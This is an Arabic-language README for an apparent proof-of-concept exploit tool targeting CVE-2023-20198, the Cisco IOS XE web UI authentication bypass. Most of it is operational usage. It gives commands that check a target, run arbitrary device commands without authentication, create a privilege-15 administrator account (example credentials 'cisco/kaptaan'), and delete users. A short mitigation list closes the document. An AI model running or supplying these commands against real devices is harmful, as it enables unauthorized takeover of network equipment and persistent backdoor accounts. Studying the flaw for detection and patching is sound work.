
استغلال إثبات المفهوم لـ CVE-2023-20198، وهي ثغرة تجاوز المصادقة تؤثر على واجهة الويب الخاصة بـ Cisco IOS XE
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال الثغرة CVE-2023-20198، وهي ثغرة تجاوز مصادقة تؤثر على واجهة الويب الخاصة بـ Cisco IOS XE.
تسمح هذه الثغرة للمهاجمين غير المصادق عليهم بتنفيذ أوامر عشوائية على أجهزة Cisco المعرضة للخطر عبر طلبات SOAP مصممة بعناية، مما قد يؤدي إلى اختراق كامل للجهاز، بما في ذلك تنفيذ أوامر عن بُعد (RCE) وإنشاء/حذف مستخدمين إداريين.
CVE: CVE-2023-20198
المنتج المتأثر: Cisco IOS XE (واجهة الويب / واجهة WSMA)
الأثر:
ناقل الهجوم: الشبكة (HTTP/HTTPS)
الصلاحيات المطلوبة: لا شيء (بدون مصادقة)
سبب هذه الثغرة هو المعالجة غير السليمة للمصادقة في نقطة نهاية وكيل إدارة خدمات الويب (WSMA)، مما يسمح للمهاجمين بتجاوز المصادقة باستخدام طلبات HTTP مصممة بعناية.
requestscoloramaتثبيت التبعيات:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

| الخيار | الوصف |
|---|---|
-t, --target | جهاز Cisco IOS XE المستهدف (مطلوب) |
-c, --check | التحقق مما إذا كان الهدف معرضًا للثغرة |
-C, --cmd | تنفيذ أمر من أوامر Cisco IOS XE |
-a, --add | إضافة مستخدم إداري جديد |
-d, --delete | حذف مستخدم موجود |
-u, --username | اسم المستخدم لإنشاء/حذف الحساب |
-p, --password | كلمة مرور الحساب الجديد (عشوائية إذا لم تُقدم) |
تحقق مما إذا كان الهدف معرضًا للثغرة:
python3 exploit.py -t https://<TARGET-IP> -c

إذا كان الهدف معرضًا للثغرة، ستقوم الأداة تلقائيًا باكتشاف نقطة نهاية WSMA القابلة للاستغلال وعرض تفاصيل الجهاز.
تنفيذ الأوامر على الجهاز المعرض للخطر:
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
مثال:
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

إنشاء مستخدم إداري بصلاحية 15 جديد:
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

إذا لم يتم توفير كلمة مرور، يقوم السكربت بتوليد كلمة مرور عشوائية آمنة تلقائيًا.
باستخدام الحساب الذي تم إنشاؤه حديثًا، يمكنك الوصول إلى واجهة الويب الخاصة بالجهاز

حذف مستخدم موجود:
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

قم بترقية Cisco IOS XE إلى أحدث إصدار مُصحح
عطّل واجهة الويب إذا لم تكن مطلوبة:
no ip http server
no ip http secure-server
قيّد وصول الإدارة عبر قوائم التحكم بالوصول (ACLs)